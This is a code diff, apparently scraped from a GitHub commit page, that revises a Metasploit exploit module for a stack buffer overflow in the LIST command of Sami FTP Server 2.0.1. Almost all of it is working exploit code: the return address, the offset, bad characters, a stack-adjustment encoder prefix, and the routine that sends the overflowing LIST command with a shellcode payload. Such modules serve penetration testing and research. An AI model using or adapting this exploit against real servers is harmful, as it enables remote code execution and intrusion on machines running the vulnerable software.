8
8
require 'msf/core'
9
9
10
10
class Metasploit4 < Msf ::Exploit ::Remote
11
- Rank = NormalRanking
11
+ Rank = AverageRanking
12
12
13
13
include Msf ::Exploit ::Remote ::Ftp
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Sami FTP Server 2.0.1 LIST Command Buffer Overflow' ,
17
+ 'Name' => 'Sami FTP Server LIST Command Buffer Overflow' ,
18
18
'Description' => %q{
19
- A buffer overflow is triggered when a long LIST
20
- command is sent to the server while the user is viewing the Logs tab.
19
+ This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.
20
+ The vulnerability exists in the processing of LIST commands. In order to trigger
21
+ the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing
22
+ application, in the target machine. On the other hand, the source IP address used
23
+ to connect with the FTP Server is needed. If the user can't provide it, the module
24
+ will try to resolve it. This module has been tested successfully on Sami FTP Server
25
+ 2.0.1 over Windows XP SP3.
21
26
} ,
22
27
'Platform' => 'win' ,
23
28
'Author' =>
@@ -29,47 +34,46 @@ def initialize(info = {})
29
34
'References' =>
30
35
[
31
36
[ 'OSVDB' , '90815' ] ,
32
- [ 'EDB' , '24557' ] ,
37
+ [ 'EDB' , '24557' ]
33
38
] ,
34
39
'Privileged' => false ,
35
- 'DefaultOptions' =>
36
- {
37
- 'EXITFUNC' => 'thread' ,
38
- } ,
39
40
'Payload' =>
40
41
{
41
- 'Space' => 900 ,
42
- 'BadChars' => "\x00 \x0a \x0d \x20 \xff " ,
43
- 'StackAdjustment' => -3500 ,
42
+ 'Space' => 1500 ,
43
+ 'DisableNops' => true ,
44
+ 'BadChars' => "\x00 \x0a \x0d \x20 \x5c " ,
45
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
44
46
} ,
45
47
'Targets' =>
46
48
[
47
- [
48
- 'Windows XP' ,
49
+ [ 'Sami FTP Server 2.0.1 / Windows XP SP3' ,
49
50
{
50
- 'Ret' => 0x10028283 , # jmp esp C:\Program Files\PMSystem\Temp\tmp0.dll
51
- 'Offset' => 225 ,
52
- } ,
51
+ 'Ret' => 0x10028283 , # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll
52
+ 'Offset' => 228
53
+ }
53
54
] ,
54
55
] ,
55
56
'DefaultTarget' => 0 ,
56
57
'DisclosureDate' => 'Feb 27 2013' ) )
57
58
register_options (
58
59
[
59
- OptString . new ( 'IPADDR ' , [ true , 'Attacker\'s IP address' ] )
60
+ OptAddress . new ( 'SOURCEIP ' , [ false , 'The local client address' ] )
60
61
] , self . class )
61
62
end
62
63
63
64
def exploit
64
- connect_login
65
- sleep 1
66
-
67
- ip_length = datastore [ 'IPADDR' ] . length - 3
68
- buf = rand_text_alphanumeric ( target [ 'Offset' ] - ip_length )
65
+ connect
66
+ if datastore [ 'SOURCEIP' ]
67
+ ip_length = datastore [ 'SOURCEIP' ] . length
68
+ else
69
+ ip_length = Rex ::Socket . source_address ( rhost ) . length
70
+ end
71
+ buf = rand_text ( target [ 'Offset' ] - ip_length )
69
72
buf << [ target [ 'Ret' ] ] . pack ( 'V' )
73
+ buf << rand_text ( 16 )
70
74
buf << payload . encoded
71
-
72
75
send_cmd ( [ 'LIST' , buf ] , false )
73
76
disconnect
74
77
end
78
+
75
79
end
0 commit comments